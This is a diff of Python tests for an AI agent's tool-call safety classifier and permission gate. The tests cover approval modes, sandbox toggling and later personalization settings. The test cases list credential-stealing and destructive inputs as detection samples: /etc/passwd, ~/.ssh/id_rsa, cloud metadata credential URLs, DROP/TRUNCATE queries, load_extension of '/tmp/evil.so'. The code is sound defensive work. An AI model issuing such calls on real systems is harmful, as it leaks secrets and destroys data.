+        ("list_and_archive", True),
+        ("list_and_clone_repo", True),  # clone/checkout/comment are mutating
+        ("fetch_and_comment_issue", True),
+        ("get_and_checkout_branch", True),
+        ("read_and_append_file", True),  # append/prepend are mutating
+        ("prepend_line", True),
+        ("get_and_upsert_row", True),  # upsert/assign are mutating
+        ("list_and_assign_issue", True),
+        ("read_and_copy_file", True),  # copy-style verbs create/overwrite state
+        ("get_and_copy_resource", True),
+        ("read_and_duplicate_entry", True),
+        ("fetch_and_download_asset", True),  # download writes local state
+        ("list_and_export_data", True),  # import/export/backup/restore/snapshot
+        ("get_and_snapshot_volume", True),
+        ("get_and_mark_read", True),  # mark/subscribe change external state
+        ("get_and_subscribe", True),
+        ("list_and_unsubscribe", True),
+        ("get_and_reply_email", True),  # reply/notify send/change external state
+        ("list_and_notify_users", True),
+        ("read_secret", True),  # credential noun: a read that discloses a secret
+        ("list_tokens", True),
+        ("get_credentials", True),
+        ("fetch_api_key", True),  # scoped *_key noun
+        ("read_access_key", True),
+        ("get_password", True),
+        ("read_passphrase", True),
+        ("read_report", False),  # plain read stays safe
+        ("get_primary_key", False),  # a schema key is not a credential
+        ("search_keyboard_shortcuts", False),  # 'key' inside another word stays safe
+        ("list_bookmarks", False),  # 'mark' substring in a token stays safe
+        ("list_notifications", False),  # 'notify' is a different token than 'notifications'
+    ],
+)
+def test_mcp_classifier(tool, unsafe):
+    name = f"{MCP_TOOL_PREFIX}srv1__{tool}"
+    assert is_potentially_unsafe_tool_call(name, {}) is unsafe
+
+
+@pytest.mark.parametrize(
+    ("args", "unsafe"),
+    [
+        ({"path": "/etc/passwd"}, True),  # read-named tool at a credential path
+        ({"path": "../../.ssh/id_rsa"}, True),
+        ({"nested": {"file": "~/.aws/credentials"}}, True),
+        ({"name": "OPENAI_API_KEY"}, True),  # explicit credential env-var read
+        ({"name": "AWS_SECRET_ACCESS_KEY"}, True),
+        ({"key": "DATABASE_PASSWORD"}, True),
+        (
+            {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"},
+            True,
+        ),  # AWS instance-metadata host
+        (
+            {"url": "http://metadata.google.internal/computeMetadata/v1/"},
+            True,
+        ),  # GCP metadata host
+        ({"path": "notes.txt"}, False),  # ordinary path stays safe
+        ({"path": "data/report.csv"}, False),
+        ({"name": "PATH"}, False),  # a non-secret env var stays safe
+        ({"name": "HOME"}, False),
+        ({"url": "https://example.com/api"}, False),  # ordinary URL stays safe
+        ({"url": "http://localhost:8080/health"}, False),  # localhost app stays safe
+    ],
+)
+def test_mcp_sensitive_arguments(args, unsafe):
+    name = f"{MCP_TOOL_PREFIX}fs__read_file"
+    assert is_potentially_unsafe_tool_call(name, args) is unsafe
+
+
+@pytest.mark.parametrize(
+    ("args", "unsafe"),
+    [
+        ({"query": "DELETE FROM runs"}, True),  # read-named tool, mutating query
+        ({"sql": "DROP TABLE users"}, True),
+        ({"query": "UPDATE t SET x=1"}, True),
+        ({"query": "INSERT INTO t VALUES (1)"}, True),
+        ({"query": "SELECT * FROM runs"}, False),  # read query stays safe
+        ({"query": "how to delete old files"}, False),  # NL text with 'delete' stays safe
+        ({"query": "find the created_at column"}, False),  # 'created' substring stays safe
+        ({"query": "DELETE/**/FROM runs"}, True),  # inline SQL comment as whitespace
+        ({"query": "UPDATE/**/t SET x=1"}, True),
+        ({"query": "DROP/**/TABLE users"}, True),
+        ({"query": "SELECT * FROM runs -- delete later"}, False),  # trailing comment stays safe
+        ({"query": "COPY users FROM '/tmp/u.csv'"}, True),  # bulk load writes the table
+        ({"query": "COPY users (id, name)\nFROM STDIN"}, True),  # multiline COPY FROM
+        ({"query": "COPY (SELECT 1) TO '/tmp/o.csv'"}, True),  # COPY TO writes a server file
+        ({"query": "SELECT copy_count FROM t"}, False),  # 'copy' substring column stays safe
+        ({"query": "mutation { deleteIssue(id: 1) }"}, True),  # GraphQL mutation
+        ({"query": "mutation DelIssue { deleteIssue(id: 1) }"}, True),  # named GraphQL mutation
+        ({"query": "mutation # note\n { deleteIssue(id: 1) }"}, True),  # comment before body
+        ({"query": "mutation # c\n Del { deleteIssue(id: 1) }"}, True),  # comment before name
+        ({"query": "query { issue(id: 1) { title } }"}, False),  # GraphQL read query stays safe
+        ({"query": "{ issue(id: 1) { title } }"}, False),  # shorthand GraphQL query stays safe
+        ({"query": "query # note\n { issue(id: 1) }"}, False),  # commented read query stays safe
+        ({"query": "CREATE OR REPLACE VIEW v AS SELECT 1"}, True),  # DDL with a modifier
+        ({"query": "CREATE UNIQUE INDEX idx ON t(x)"}, True),  # DDL with UNIQUE
+        ({"query": "CREATE TEMP TABLE t (id int)"}, True),  # DDL with TEMP
+        ({"query": "CREATE MATERIALIZED VIEW mv AS SELECT 1"}, True),  # materialized view DDL
+        ({"query": "CREATE FUNCTION f() RETURNS int AS $$ $$"}, True),  # function DDL
+        ({"query": "ALTER SYSTEM SET work_mem = '1GB'"}, True),  # persists server config
+        ({"query": "alter system reset all"}, True),  # ALTER SYSTEM RESET
+        ({"query": "SELECT * FROM system_logs"}, False),  # 'system' as a table name stays safe
+        ({"query": "SELECT * FROM created_view"}, False),  # 'create' substring stays safe
+        ({"query": "CALL delete_all_users()"}, True),  # stored procedure invocation
+        ({"query": "EXEC purge_queue"}, True),  # EXEC procedure
+        ({"query": "EXECUTE sp_drop"}, True),  # EXECUTE procedure
+        ({"query": "VACUUM INTO 'backup.db'"}, True),  # VACUUM rewrites the database
+        ({"query": "please call me back later"}, False),  # NL 'call' stays safe
+        ({"query": "ATTACH DATABASE '/tmp/x.db' AS x"}, True),  # attaches a database file
+        ({"query": "DETACH DATABASE x"}, True),  # detaches a database
+        ({"query": "PRAGMA user_version = 42"}, True),  # write-form PRAGMA
+        ({"query": "PRAGMA journal_mode=WAL"}, True),  # write-form PRAGMA (no spaces)
+        ({"query": "PRAGMA foreign_keys(0)"}, True),  # call-form PRAGMA write
+        ({"query": "SELECT load_extension('/tmp/evil.so')"}, True),  # loads native code
+        ({"query": "PRAGMA journal_mode"}, False),  # read-form PRAGMA stays safe
+        ({"query": "can you attach the report to the email"}, False),  # NL 'attach' stays safe
+        ({"query": "ATTACH '/tmp/x.db' AS x"}, True),  # ATTACH without DATABASE keyword
+        ({"query": "PRAGMA main.user_version = 1"}, True),  # schema-qualified write PRAGMA
+        ({"query": "attach it as draft"}, False),  # NL 'attach ... as' stays safe
+        ({"query": "DROP FUNCTION f()"}, True),  # DROP of a non-table object
+        ({"query": "ALTER INDEX idx RENAME TO idx2"}, True),  # ALTER of a non-table object
+        ({"query": "DROP MATERIALIZED VIEW mv"}, True),  # DROP with a modifier
+        ({"query": "ALTER USER bob WITH PASSWORD 'x'"}, True),  # ALTER USER mutates
+        ({"query": "SELECT dropped_at FROM t"}, False),  # 'drop' substring column stays safe
+        ({"query": "mutation M @audit { deleteIssue(id: 1) }"}, True),  # directive GraphQL mutation
+        (
+            {"query": "query Q @cached { issue(id: 1) { title } }"},
+            False,
+        ),  # directive GraphQL read stays safe
+        ({"query": 'UPDATE "users" SET admin=1'}, True),  # double-quoted UPDATE target
+        ({"query": "UPDATE public.users SET admin=1"}, True),  # schema-qualified UPDATE
+        ({"query": "UPDATE ONLY public.users SET admin=1"}, True),  # ONLY-qualified UPDATE
+        ({"query": "UPDATE `users` SET admin=1"}, True),  # backtick-quoted UPDATE
+        ({"query": "UPDATE [users] SET admin=1"}, True),  # bracket-quoted UPDATE
+        ({"query": "please update the documentation set"}, False),  # NL 'update ... set' stays safe
+        ({"query": "SELECT pg_terminate_backend(123)"}, True),  # state-changing SQL function
+        ({"query": "SELECT setval('s', 1)"}, True),  # sequence mutation function
+        ({"query": "SELECT pg_write_file('/tmp/p', 'x')"}, True),  # server-side file write
+        ({"query": "SELECT lo_export(123, '/tmp/p')"}, True),  # large-object export to a file
+        ({"query": "SELECT setval_col FROM t"}, False),  # 'setval' column prefix stays safe
+        (
+            {"query": "SELECT secret INTO OUTFILE '/tmp/leak' FROM users"},
+            True,
+        ),  # INTO OUTFILE write
+        ({"query": "SELECT x INTO DUMPFILE '/tmp/d' FROM t"}, True),  # INTO DUMPFILE write
+        (
+            {"query": "SELECT count(*) INTO cnt FROM t"},
+            False,
+        ),  # PL/pgSQL SELECT INTO var stays safe
+        ({"query": "REFRESH MATERIALIZED VIEW mv"}, True),  # materialized view rewrite
+        ({"query": "REINDEX INDEX idx"}, True),  # index rebuild
+        ({"query": "REINDEX TABLE t"}, True),  # table reindex
+        ({"query": "SELECT refresh_count FROM t"}, False),  # 'refresh' column stays safe
+        ({"query": "please refresh the page"}, False),  # NL 'refresh' stays safe
+        ({"query": "COMMENT ON TABLE users IS 'owned'"}, True),  # catalog metadata write
+        ({"query": "LOCK TABLE users IN ACCESS EXCLUSIVE MODE"}, True),  # explicit lock
+        ({"query": "SECURITY LABEL FOR x ON TABLE t IS 'z'"}, True),  # security label write
+        ({"query": "CREATE POLICY p ON accounts USING (true)"}, True),  # row-security policy DDL
+        ({"query": "SELECT comment FROM t"}, False),  # 'comment' column stays safe
+        ({"query": "SELECT * FROM locks"}, False),  # 'locks' table stays safe
+        ({"query": "SELECT nextval('billing_seq')"}, True),  # sequence advance mutates
+        ({"query": "SELECT pg_advisory_lock(42)"}, True),  # advisory lock changes state
+        ({"query": "SELECT pg_notify('jobs', 'wake')"}, True),  # server-side notification
+        ({"query": "SELECT set_config('x', 'y', false)"}, True),  # session config write
+        ({"query": "SELECT nextval_col FROM t"}, False),  # 'nextval' column prefix stays safe
+        ({"query": "TRUNCATE users"}, True),  # multi-char table name (bare TRUNCATE)
+        ({"query": "TRUNCATE TABLE accounts"}, True),  # multi-char TRUNCATE TABLE
+        ({"query": 'TRUNCATE TABLE "users"'}, True),  # quoted TRUNCATE target
+        ({"query": "TRUNCATE accounts RESTART IDENTITY"}, True),  # TRUNCATE with options
+        ({"query": "SELECT truncate_log FROM t"}, False),  # 'truncate' column stays safe
+        ({"query": "UPDATE users AS u SET admin=1"}, True),  # aliased UPDATE target (AS)
+        ({"query": 'UPDATE "users" AS u SET x=1'}, True),  # quoted+aliased UPDATE
+        ({"query": "UPDATE public.users AS u SET x=1"}, True),  # schema-qualified aliased UPDATE
+        ({"query": "SELECT * FROM users AS u"}, False),  # aliased SELECT stays safe
+        ({"query": "please update the documentation set"}, False),  # NL, no AS, stays safe
+        ({"query": "GRANT SELECT ON t TO u"}, True),  # privilege grant (multi-word)
+        ({"query": "REVOKE ALL ON t FROM u"}, True),  # privilege revoke (multi-word)
+        ({"query": "SELECT * FROM grants"}, False),  # 'grants' table stays safe
+        ({"url": "http://x", "method": "DELETE"}, True),  # mutating HTTP verb arg
+        ({"method": "POST"}, True),
+        ({"verb": "PUT"}, True),  # alternate method-key name
+        ({"method": "GET"}, False),  # read HTTP verb stays safe
+        ({"method": "HEAD"}, False),
+    ],
+)
+def test_mcp_mutating_arguments(args, unsafe):
+    name = f"{MCP_TOOL_PREFIX}db__query_database"
+    assert is_potentially_unsafe_tool_call(name, args) is unsafe
+
+
+# ── loop behavior ───────────────────────────────────────────────────
+
+_DEFAULT_TOOLS = [
+    {"type": "function", "function": {"name": "python"}},
+    {"type": "function", "function": {"name": "web_search"}},
+]
+
+
+class _FakeExecuteTool:
+    def __init__(self):
+        self.calls = []
+        self.disable_sandbox_seen = []
+
+    def __call__(
+        self,
+        name,
+        arguments,
+        *,
+        cancel_event = None,
+        timeout = None,
+        session_id = None,
+        thread_id = None,
+        rag_scope = None,
+        disable_sandbox = False,
+    ):
+        self.calls.append((name, arguments))
+        self.disable_sandbox_seen.append(disable_sandbox)
+        return f"RESULT[{name}]"
+
+
+def _tool_call(name, args_json):
+    return f'<tool_call>{{"name": "{name}", "arguments": {args_json}}}</tool_call>'
+
+
+def _multi_turn(turns):
+    turn_iter = iter(turns)
+
+    def _gen(_messages):
+        try:
+            yield next(turn_iter)
+        except StopIteration:
+            return
+
+    return _gen
+
+
+def _drive(turns, decisions, **loop_kwargs):
+    """Run the loop, resolving each gated tool_start with the next decision."""
+    decision_iter = iter(decisions)
+    exec_fn = _FakeExecuteTool()
+    # A per-call session id so a leaked pending approval from another test can
+    # never collide with this run's approval registry entries.
+    session = f"{_SESSION}-{uuid.uuid4().hex}"
+    gen = run_safetensors_tool_loop(
+        single_turn = _multi_turn(turns),
+        messages = [{"role": "user", "content": "hi"}],
+        tools = _DEFAULT_TOOLS,
+        execute_tool = exec_fn,
+        session_id = session,
+        **loop_kwargs,
+    )
+    events = []
+    for ev in gen:
+        events.append(ev)
+        if ev["type"] == "tool_start" and ev.get("awaiting_confirmation"):
+            resolve_tool_decision(ev["approval_id"], next(decision_iter), session_id = session)
+    return events, exec_fn
+
+
+def _tool_starts(events):
+    return [e for e in events if e["type"] == "tool_start"]
+
+
+def _diag(events, exec_fn):
+    """A compact dump of what the loop actually did, attached to the loop-driving
+    assertions so a full-suite-only failure on CI (which does not reproduce when
+    the file runs alone) reports the real event stream instead of a bare diff."""
+    return (
+        f"calls={exec_fn.calls} sandbox_seen={exec_fn.disable_sandbox_seen} "
+        f"events={[(e.get('type'), e.get('awaiting_confirmation'), e.get('tool_name')) for e in events]}"
+    )
+
+
+def test_auto_mode_does_not_gate_safe_calls():
+    events, exec_fn = _drive(
+        [_tool_call("python", '{"code": "print(1)"}'), "final"],
+        [],
+        confirm_tool_calls = True,
+        permission_mode = "auto",
+    )
+    starts = _tool_starts(events)
+    assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
+    assert starts[0]["approval_id"] == ""
+    assert exec_fn.calls == [("python", {"code": "print(1)"})], _diag(events, exec_fn)
+    assert exec_fn.disable_sandbox_seen == [False], _diag(
+        events, exec_fn
+    )  # sandbox stays on in auto
+
+
+def test_auto_mode_gates_unsafe_calls():
+    events, exec_fn = _drive(
+        [_tool_call("python", '{"code": "import os; os.remove(\\"x\\")"}'), "final"],
+        ["allow"],
+        confirm_tool_calls = True,
+        permission_mode = "auto",
+    )
+    starts = _tool_starts(events)
+    assert starts and starts[0]["awaiting_confirmation"] is True, _diag(events, exec_fn)
+    assert starts[0]["approval_id"]
+    assert len(exec_fn.calls) == 1, _diag(events, exec_fn)
+    assert exec_fn.disable_sandbox_seen == [False], _diag(events, exec_fn)
+
+
+def test_ask_mode_gates_even_safe_calls():
+    events, _ = _drive(
+        [_tool_call("python", '{"code": "print(1)"}'), "final"],
+        ["allow"],
+        confirm_tool_calls = True,
+        permission_mode = "ask",
+    )
+    starts = _tool_starts(events)
+    assert starts and starts[0]["awaiting_confirmation"] is True
+
+
+def test_unset_mode_behaves_as_ask():
+    events, _ = _drive(
+        [_tool_call("python", '{"code": "print(1)"}'), "final"],
+        ["allow"],
+        confirm_tool_calls = True,
+    )
+    starts = _tool_starts(events)
+    assert starts and starts[0]["awaiting_confirmation"] is True
+
+
+def test_off_mode_never_gates_and_keeps_sandbox():
+    # "Off": no prompts even for unsafe calls, but the sandbox stays on.
+    events, exec_fn = _drive(
+        [_tool_call("python", '{"code": "import os; os.remove(\\"x\\")"}'), "final"],
+        [],
+        confirm_tool_calls = True,  # off must win over a stray confirm flag
+        permission_mode = "off",
+    )
+    starts = _tool_starts(events)
+    assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
+    assert starts[0]["approval_id"] == ""
+    assert exec_fn.disable_sandbox_seen == [False], _diag(events, exec_fn)
+
+
+def test_full_mode_never_gates_and_drops_sandbox():
+    events, exec_fn = _drive(
+        [_tool_call("python", '{"code": "import os; os.remove(\\"x\\")"}'), "final"],
+        [],
+        confirm_tool_calls = True,  # full must win over the confirm gate
+        permission_mode = "full",
+    )
+    starts = _tool_starts(events)
+    assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
+    assert exec_fn.disable_sandbox_seen == [True], _diag(events, exec_fn)
+
+
+def test_bypass_flag_implies_full_mode():
+    # Legacy callers that only set bypass_permissions keep the same behavior.
+    events, exec_fn = _drive(
+        [_tool_call("python", '{"code": "print(1)"}'), "final"],
+        [],
+        confirm_tool_calls = True,
+        bypass_permissions = True,
+    )
+    starts = _tool_starts(events)
+    assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
+    assert exec_fn.disable_sandbox_seen == [True], _diag(events, exec_fn)
+
+
+def test_bypass_permissions_folds_to_full_on_request_models():
+    # A legacy bypass caller that also sends a stale ask/auto mode normalizes to
+    # full, so the route guards (which reject ask/auto) don't 400 the request.
+    for cls in (ChatCompletionRequest, AnthropicMessagesRequest):
+        req = cls(
+            messages = [{"role": "user", "content": "hi"}],
+            bypass_permissions = True,
+            permission_mode = "auto",
+        )
+        assert req.permission_mode == "full"
+        assert req.bypass_permissions is True
+
+
+def test_unknown_permission_mode_normalizes_to_ask_on_request_models():
+    # An unrecognized mode from a newer UI/client must degrade to the safest gate
+    # ("ask") at the API boundary instead of a 422, so the forward-compat fallback
+    # the tool loops already apply (unknown -> ask) is reachable. None stays unset;
+    # the four known modes pass through untouched.
+    for cls in (ChatCompletionRequest, AnthropicMessagesRequest):
+        for unknown in ("paranoid", "readonly", "bogus", ""):
+            req = cls(
+                messages = [{"role": "user", "content": "hi"}],
+                permission_mode = unknown,
+            )
+            assert req.permission_mode == "ask", (cls.__name__, unknown)
+        assert (
+            cls(messages = [{"role": "user", "content": "hi"}], permission_mode = None).permission_mode
+            is None
+        )
+        for known in ("ask", "auto", "off", "full"):
+            req = cls(
+                messages = [{"role": "user", "content": "hi"}],
+                permission_mode = known,
+            )
+            # 'full' folds to bypass but the mode string is preserved.
+            assert req.permission_mode == known, (cls.__name__, known)
+
+
+def test_ask_auto_self_enable_confirm_on_chat_request():
+    # "Ask" gates every call, so a direct /chat/completions caller that requests
+    # ask but omits the legacy confirm flag self-enables it when Unsloth's own tool
+    # loop is requested. Only the router's loop-entry signals count (enable_tools /
+    # mcp_enabled); enabled_tools alone never starts the loop.
+    for loop in ({"enable_tools": True}, {"mcp_enabled": True}):
+        req = ChatCompletionRequest(
+            messages = [{"role": "user", "content": "hi"}],
+            permission_mode = "ask",
+            **loop,
+        )
+        assert req.confirm_tool_calls is True
+    # "auto" is NOT folded: it only prompts for a classifier-flagged call, so
+    # leaving confirm unset lets the route apply the safe-only-selection exception
+    # (a safe-only auto request needs no stream) instead of an explicit confirm
+    # forcing stream=true. The mode still drives the loop's per-call gate.
+    for loop in ({"enable_tools": True}, {"mcp_enabled": True}):
+        req = ChatCompletionRequest(
+            messages = [{"role": "user", "content": "hi"}],
+            permission_mode = "auto",
+            **loop,
+        )
+        assert req.confirm_tool_calls is None
+    # enabled_tools by itself is a passthrough filter, not a loop-entry signal:
+    # a client-tool passthrough that also lists enabled_tools must route verbatim
+    # (confirm stays unset), else the confirm-without-stream guard 400s it.
+    for mode in ("ask", "auto"):
+        req = ChatCompletionRequest(
+            messages = [{"role": "user", "content": "hi"}],
+            permission_mode = mode,
+            enabled_tools = ["terminal"],
+            tools = [{"type": "function", "function": {"name": "f"}}],
+        )
+        assert req.confirm_tool_calls is None
+    # An explicit confirm_tool_calls=False wins over the ask mode (opts out of the
+    # gate), matching _permission_mode_confirm and the Anthropic pre-switch guard;
+    # the fold only self-enables when the flag is unset, so a caller cannot get a
+    # different answer on the chat path than the Anthropic path for the same body.
+    req = ChatCompletionRequest(
+        messages = [{"role": "user", "content": "hi"}],
+        permission_mode = "ask",
+        enable_tools = True,
+        confirm_tool_calls = False,
+    )
+    assert req.confirm_tool_calls is False
+    # A plain client-tool passthrough (client-supplied tools that Unsloth does not
+    # execute) must NOT self-enable confirm, or the route rejects the passthrough.
+    req = ChatCompletionRequest(
+        messages = [{"role": "user", "content": "hi"}],
+        permission_mode = "ask",
+        tools = [{"type": "function", "function": {"name": "f"}}],
+    )
+    assert req.confirm_tool_calls is None
+    # ask/auto without any tool request has nothing to gate; confirm stays unset.
+    req = ChatCompletionRequest(
+        messages = [{"role": "user", "content": "hi"}],
+        permission_mode = "ask",
+    )
+    assert req.confirm_tool_calls is None
+    # Legacy callers with no permission_mode keep their confirm flag untouched.
+    req = ChatCompletionRequest(
+        messages = [{"role": "user", "content": "hi"}],
+        confirm_tool_calls = False,
+    )
+    assert req.confirm_tool_calls is False
+    # External-provider requests are not folded (the provider branch rejects
+    # confirm_tool_calls with tools, and permission_mode is a local concept).
+    for extra in ({"provider_id": "p1"}, {"provider_type": "openai"}):
+        req = ChatCompletionRequest(
+            messages = [{"role": "user", "content": "hi"}],
+            permission_mode = "ask",
+            enable_tools = True,
+            **extra,
+        )
+        assert req.confirm_tool_calls is None
+
+
+def test_permission_mode_confirm_derivation():
+    # The route derives the effective confirm gate from permission_mode so that a
+    # tool loop forced on by CLI policy (no request-level tool flag) still honors
+    # the documented "unset behaves as ask" default.
+    from routes.inference import _permission_mode_confirm
+
+    def req(**kw):
+        return ChatCompletionRequest(messages = [{"role": "user", "content": "hi"}], **kw)
+
+    # An explicit confirm flag always wins (True gates, False opts out).
+    assert _permission_mode_confirm(req(confirm_tool_calls = True, stream = False)) is True
+    assert _permission_mode_confirm(req(confirm_tool_calls = False, permission_mode = "ask")) is False
+    # Explicit ask/auto always engage the gate (a non-streaming one is rejected
+    # by the guard that reads this).
+    assert _permission_mode_confirm(req(permission_mode = "ask", stream = False)) is True
+    assert _permission_mode_confirm(req(permission_mode = "auto", stream = False)) is True
+    # off/full never prompt.
+    assert _permission_mode_confirm(req(permission_mode = "off")) is False
+    assert _permission_mode_confirm(req(permission_mode = "full")) is False
+    # An unset mode defaults to ask, but only realizably on a streaming request;
+    # a non-streaming unset request keeps the legacy run-without-gate behavior.
+    assert _permission_mode_confirm(req(stream = True)) is True
+    assert _permission_mode_confirm(req(stream = False)) is False
+
+
+def test_confirm_gate_needs_stream():
+    # auto only prompts for a classifier-flagged call, so an auto request that can
+    # only select always-safe tools (web_search / RAG) needs no stream and must not
+    # be rejected by the confirm-without-stream guard.
+    from routes.inference import _confirm_gate_needs_stream
+
+    def req(**kw):
+        return ChatCompletionRequest(messages = [{"role": "user", "content": "hi"}], **kw)
+
+    safe = ["web_search", "search_knowledge_base"]
+    # auto + a safe-only selection never prompts -> no stream needed.
+    assert _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = safe)) is False
+    assert (
+        _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = ["web_search"]))
+        is False
+    )
+    # render_html can prompt when its canvas reaches the network, so a selection
+    # that includes it needs a stream to deliver that prompt.
+    assert (
+        _confirm_gate_needs_stream(
+            req(permission_mode = "auto", enabled_tools = ["web_search", "render_html"])
+        )
+        is True
+    )
+    # But a selectable unsafe tool, an unrestricted (omitted) selection, MCP, or an
+    # explicit confirm flag all still require streaming under auto.
+    assert (
+        _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = ["terminal"])) is True
+    )
+    assert _confirm_gate_needs_stream(req(permission_mode = "auto", enable_tools = True)) is True
+    assert (
+        _confirm_gate_needs_stream(
+            req(permission_mode = "auto", enabled_tools = ["web_search"], mcp_enabled = True)
+        )
+        is True
+    )
+    assert (
+        _confirm_gate_needs_stream(
+            req(permission_mode = "auto", enabled_tools = ["web_search"], confirm_tool_calls = True)
+        )
+        is True
+    )
+    # An explicit empty selection runs no built-in tool, so nothing can prompt and
+    # no stream is needed (distinct from an omitted list, which means all tools).
+    assert (
+        _confirm_gate_needs_stream(req(permission_mode = "auto", enable_tools = True, enabled_tools = []))
+        is False
+    )
+    # ask prompts for every call, so even a safe-only selection needs streaming.
+    assert _confirm_gate_needs_stream(req(permission_mode = "ask", enabled_tools = safe)) is True
+    # off/full never prompt; unset non-streaming keeps the legacy run-without-gate.
+    assert _confirm_gate_needs_stream(req(permission_mode = "off", enabled_tools = safe)) is False
+    assert _confirm_gate_needs_stream(req(permission_mode = "full", enabled_tools = safe)) is False
+    assert _confirm_gate_needs_stream(req(enabled_tools = safe, stream = False)) is False
diff --git a/studio/backend/tests/test_personalization_settings.py b/studio/backend/tests/test_personalization_settings.py
index c80bfa196b..7b5e70decc 100644
--- a/studio/backend/tests/test_personalization_settings.py
+++ b/studio/backend/tests/test_personalization_settings.py
@@ -16,15 +16,21 @@ if str(_BACKEND) not in sys.path:
 import utils.personalization_settings as pers  # noqa: E402
 from auth.authentication import get_current_subject  # noqa: E402
 from routes import settings as settings_routes  # noqa: E402
-from routes.settings import PersonalizationPayload  # noqa: E402
+from routes.settings import (  # noqa: E402
+    MAX_SIDEBAR_MENU_INPUT_ITEMS,
+    PersonalizationPayload,
+    SIDEBAR_MENU_ITEM_DEFAULTS,
+)
 
 
 def test_defaults_fill_missing_fields():
     p = PersonalizationPayload.model_validate({})
     assert p.version == pers.PERSONALIZATION_VERSION
     assert p.appearance.theme == "system"
+    assert p.appearance.palette == "standard"
     assert p.profile.avatarShape == "circle"
     assert p.profile.displayName == ""
+    assert p.profile.showGreetingSloth is True
 
 
 def test_unknown_keys_are_ignored():
@@ -39,6 +45,213 @@ def test_invalid_theme_rejected():
         PersonalizationPayload.model_validate({"appearance": {"theme": "neon"}})
 
 
+def test_invalid_palette_rejected():
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate({"appearance": {"palette": "neon"}})
+
+
+def test_customization_defaults():
+    p = PersonalizationPayload.model_validate({})
+    c = p.appearance.customization
+    assert c.contrast == 50
+    assert c.reduceMotion == "system"
+    assert c.fontSmoothing is True
+    assert c.pointerCursors is False
+    assert c.colors.light.accent is None
+    assert c.headingFont is None
+    assert c.chatFont is None
+    assert c.uiFontSize is None
+    assert [(i.id, i.visible) for i in c.sidebarMenu] == [
+        ("api", True),
+        ("darkMode", True),
+        ("guidedTour", True),
+        ("profile", False),
+        ("appearance", False),
+        ("resources", False),
+        ("chat", False),
+        ("connections", False),
+    ]
+
+
+def test_customization_invalid_values_rejected():
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            {"appearance": {"customization": {"colors": {"light": {"accent": "red"}}}}}
+        )
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate({"appearance": {"customization": {"uiFontSize": 99}}})
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate({"appearance": {"customization": {"contrast": 500}}})
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            {"appearance": {"customization": {"reduceMotion": "sometimes"}}}
+        )
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            {"appearance": {"customization": {"sidebarMenu": [{"id": "chats"}]}}}
+        )
+
+
+def test_customization_sidebar_menu_normalized():
+    p = PersonalizationPayload.model_validate(
+        {
+            "appearance": {
+                "customization": {
+                    "sidebarMenu": [
+                        {"id": "guidedTour", "visible": False},
+                        {"id": "guidedTour", "visible": True},
+                        {"id": "api"},
+                    ]
+                }
+            }
+        }
+    )
+    # Duplicates keep the first entry; missing ids are appended with their
+    # default visibility.
+    assert [(i.id, i.visible) for i in p.appearance.customization.sidebarMenu] == [
+        ("guidedTour", False),
+        ("api", True),
+        ("darkMode", True),
+        ("profile", False),
+        ("appearance", False),
+        ("resources", False),
+        ("chat", False),
+        ("connections", False),
+    ]
+
+
+def _sidebar(items):
+    return {"appearance": {"customization": {"sidebarMenu": items}}}
+
+
+def test_customization_sidebar_menu_dedupes_oversized_payload():
+    # A stale/duplicated payload carries more items than there are distinct ids.
+    # It must reach the dedupe validator and normalize to exactly one entry per
+    # id, not be rejected by the length cap before dedupe runs.
+    ids = list(SIDEBAR_MENU_ITEM_DEFAULTS)
+    doubled = [{"id": i} for i in ids] + [{"id": i} for i in ids]
+    assert len(doubled) > len(SIDEBAR_MENU_ITEM_DEFAULTS)
+    p = PersonalizationPayload.model_validate(_sidebar(doubled))
+    result = [i.id for i in p.appearance.customization.sidebarMenu]
+    assert result == ids
+    assert len(result) == len(SIDEBAR_MENU_ITEM_DEFAULTS)
+
+
+def test_customization_sidebar_menu_rejects_pathological_length():
+    # The generous input cap still refuses an absurdly long list outright.
+    huge = [{"id": "api"} for _ in range(MAX_SIDEBAR_MENU_INPUT_ITEMS + 1)]
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(_sidebar(huge))
+
+
+def test_customization_imported_fonts_validated():
+    ok = PersonalizationPayload.model_validate(
+        {
+            "appearance": {
+                "customization": {
+                    "importedFonts": [{"name": "My Font", "dataUrl": "data:font/woff2;base64,AAAA"}]
+                }
+            }
+        }
+    )
+    assert ok.appearance.customization.importedFonts[0].name == "My Font"
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            {
+                "appearance": {
+                    "customization": {
+                        "importedFonts": [
+                            {"name": "Evil", "dataUrl": "https://example.com/font.woff2"}
+                        ]
+                    }
+                }
+            }
+        )
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            {
+                "appearance": {
+                    "customization": {
+                        "importedFonts": [
+                            {"name": f"Font {i}", "dataUrl": "data:font/ttf;base64,AAAA"}
+                            for i in range(4)
+                        ]
+                    }
+                }
+            }
+        )
+
+
+def _imported(fonts):
+    return {"appearance": {"customization": {"importedFonts": fonts}}}
+
+
+def test_imported_font_name_rejects_css_characters():
+    # Includes backslash (escapes the quoted family), comma/slash (extra
+    # fallbacks / comment start), and a control character.
+    for bad in ['Ev"il', "Ev;il", "Ev{il", "Ev<il", "Ev'il", "Ev\\il", "Ev,il", "Ev/il", "Ev\til"]:
+        with pytest.raises(ValidationError):
+            PersonalizationPayload.model_validate(
+                _imported([{"name": bad, "dataUrl": "data:font/woff2;base64,AAAA"}])
+            )
+
+
+def test_selected_font_names_validated():
+    for field in ("uiFont", "headingFont", "chatFont", "codeFont"):
+        for bad in ["Ev\\il", "Ev,il", "Ev/il", "Ev;il", "Ev\nil"]:
+            with pytest.raises(ValidationError):
+                PersonalizationPayload.model_validate(
